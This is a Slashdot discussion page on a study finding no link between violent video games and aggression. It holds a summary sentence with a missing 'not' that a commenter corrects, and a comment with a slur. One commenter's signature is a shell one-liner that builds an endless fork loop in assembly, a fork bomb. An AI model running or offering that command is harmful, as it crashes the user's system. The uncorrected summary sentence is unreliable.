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New Study Finds No Link Between Violent Video Games and Behavior (dailydot.com)

An anonymous reader quotes a report from The Daily Dot: Scientists have been investigating the impact of violent video games on behavior for more than two decades, and the results are still being debated. In a 2015 resolution on games, the American Psychological Association reported that multiple studies found a link between violent game exposure and aggressive behavior, though critics at the time questioned the findings. Now, a new study published by researchers at the University of York in the journal Computers in Human Behavior further challenges the connection.

It has long been theorized that exposure to in-game concepts like violence has a "priming" effect on players that ultimately impacts behavior, leading scientists to believe that a player exposed to in-game violence will be more susceptible to displaying such violence in real life. The new study found the exact opposite to be true in some instances. In a series of experiments with a little over 3,000 participants (more than any past study to date), university researchers found that exposure to video game concepts like violence won't necessarily impact behavior. It also found that increasing the realism of violent video games does mean aggressive behavior in gamers will increase.

3 of 200 comments (clear)

  1. Re:Social Science = Junk Science by Anonymous Coward · · Score: 0, Informative

    Your knee-jerk rejection of that which is empirically backed up by rigorous study and statistically-combed evidence is just that. The problem you seem to be crying about is that science is a process, it changes and no single result is immune to being looked at again and no conclusion cannot be overturned by further experiment. The rigor of those experiments and their ability to be reproduced is always important, and good science eventually wins out over bad. In this case we don't know if the previous study was flawed, looked at unrepresentative statistics, relied on secondary effect evidence, or all of the above. Instead of dissecting the issue, you just blather your shit trope that the science you don't understand/respect has no value. Lol, that's simply retarded, but you're certainly a genuine representative of a common belief among a certain demographic. Good for you, right in the middle of the distribution lol.

  2. Does NOT Mean by mentil · · Score: 3, Informative

    It also found that increasing the realism of violent video games does mean aggressive behavior in gamers will increase.

    This error is in the article as well, but reading on makes it clear that this sentence is missing a 'not'. To wit:

    it was expected that those exposed to the more realistic game would choose more violent words. Surprisingly, the researchers found no significant difference between the word choices of players exposed to either game.

    --
    Corruption is convincing someone that the selfless ideal is the same as their selfish ideal.
  3. Re: Social Science = Junk Science by Hal_Porter · · Score: 3, Informative

    No, but they're not sciences in the way that, say, particle physics is. As Lubos Motls pointed out the number of sigma required to verify a hypothesis is very different

    https://motls.blogspot.com/201...

    Some disciplines of science try to be as hard and reliable as particle physics so they adopted the same 5-sigma (1 in 3 million) standard for discovery; most other disciplines, especially soft sciences such as medical research, climate science, psychology, and others, are often satisfied with 3-sigma (1 in 300) or even 2-sigma (1 in 20) evidence.

    That's assuming there's enough data for this sort of thing, which there most likely isn't for history where you're relying on a couple of second hand sources.

    That doesn't mean history is junk, it just means you can't be as certain of it as you can with physics. And in fact new discoveries turn up all the time and change the consensus view of historical events. Similarly the consensus on economics can change pretty drastically - e.g. Keynesianism took a major beating in the 80's due to stagflation. Arguably post Keynesian economics did post 2008, though that may be coming to an end.

    Social sciences have fuzzy data and the interpretation of the data is influenced by politics - that's especially true of climate change and economics. They're not at all like particle physics with its spectacular 5 sigma near certainty. You could probably find examples of present day politics influencing linguistics too.

    Incidentally literature isn't science and it definitely isn't junk. And good literature isn't influenced by politics, except in the extreme Orwellian case where a worst case totalitarian regime ends literature.

    http://www.orwell.ru/library/e...

    Literature has sometimes flourished under despotic regimes, but, as has often been pointed out, the despotisms of the past were not totalitarian. Their repressive apparatus was always inefficient, their ruling classes were usually either corrupt or apathetic or half-liberal in outlook, and the prevailing religious doctrines usually worked against perfectionism and the notion of human infallibility. Even so it is broadly true that prose literature has reached its highest levels in periods of democracy and free speculation. What is new in totalitarianism is that its doctrines are not only unchallengeable but also unstable. They have to be accepted on pain of damnation, but on the other hand, they are always liable to be altered on a moment's notice. Consider, for example, the various attitudes, completely incompatible with one another, which an English Communist or 'fellow-traveler' has had to adopt toward the war between Britain and Germany. For years before September, 1939, he was expected to be in a continuous stew about 'the horrors of Nazism' and to twist everything he wrote into a denunciation of Hitler: after September, 1939, for twenty months, he had to believe that Germany was more sinned against than sinning, and the word 'Nazi', at least as far as print went, had to drop right out of his vocabulary. Immediately after hearing the 8 o'clock news bulletin on the morning of June 22, 1941, he had to start believing once again that Nazism was the most hideous evil the world had ever seen. Now, it is easy for the politician to make such changes: for a writer the case is somewhat different. If he is to switch his allegiance at exactly the right moment, he must either tell lies about his subjective feelings, or else suppress them altogether. In either case he has destroyed his dynamo. Not only will ideas refuse to come to him, but the very words he uses will seem to stiffen under his touch. Political writing in our time consists almost entirely of prefabricated phrases bolted together like the pieces of a child's Meccano set. It is the unavoidable result of self-censorship. To write

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;